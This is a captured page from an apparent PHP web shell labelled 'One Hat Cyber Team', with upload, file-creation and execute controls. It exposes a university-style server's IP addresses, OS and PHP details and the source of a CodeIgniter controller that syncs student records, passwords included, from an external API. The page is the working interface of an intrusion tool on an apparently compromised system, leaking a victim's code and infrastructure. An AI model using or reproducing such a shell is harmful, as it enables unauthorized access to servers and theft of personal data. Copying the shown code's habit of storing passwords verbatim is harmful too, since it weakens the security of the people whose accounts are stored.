⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
pusaka
/
modules
/
Mhs
/
Controllers
/
Edit File: Mhs.php
<?php namespace Modules\Mhs\Controllers; use App\Controllers\BaseController; use Ramsey\Uuid\Uuid; class Mhs extends BaseController { public function index() { $data['title'] = 'Mhs'; $data['li_1'] = 'Daftar Mhs'; $data['body'] = 'Modules\Mhs\Views\list.php'; $data['table'] = $this->db->table('mhs')->get()->getResult(); return view('template', $data); } public function sync(){ $p = $this->request->getPost(); $url = link_api().'/api/allMhs'; $data = ['ta' => $p['tahun_akademik']]; $mhs = json_decode(api_siak($url, $data), true); $db = $this->db->table('mhs'); $db_mhs = $db->get()->getResultArray(); $array_id_mhs = array_flip(array_column($db_mhs, 'id')); $i = 1; $u = 1; foreach ($mhs as $k) { $id_mhs = $k['id_mhs']; //echo $id_mhs; if(isset($array_id_mhs[$id_mhs])){ $update[] =[ "id" => $id_mhs, "nama" => $k['nama'], "nim" => $k['nim'], "jurusan" => $k['jurusan'], "smt" => $k['semester'], "kontak" => $k['kontak'], "password" => $k['password'] ]; $u++; }else{ $input[] =[ "id" => $id_mhs, "nama" => $k['nama'], "nim" => $k['nim'], "jurusan" => $k['jurusan'], "smt" => $k['semester'], "kontak" => $k['kontak'], "password" => $k['password'] ]; $i++; } } if(isset($update)){ $db->updateBatch($update, 'id'); } if(isset($input)){ $db->insertBatch($input); } $u = $u-1; $i = $i-1; session()->setFlashData(success('Berhasil Mengupdate '.$u.' dan Menyimpan '.$i.' Data')); return redirect()->to(base_url('admin/mhs')); } }
Simpan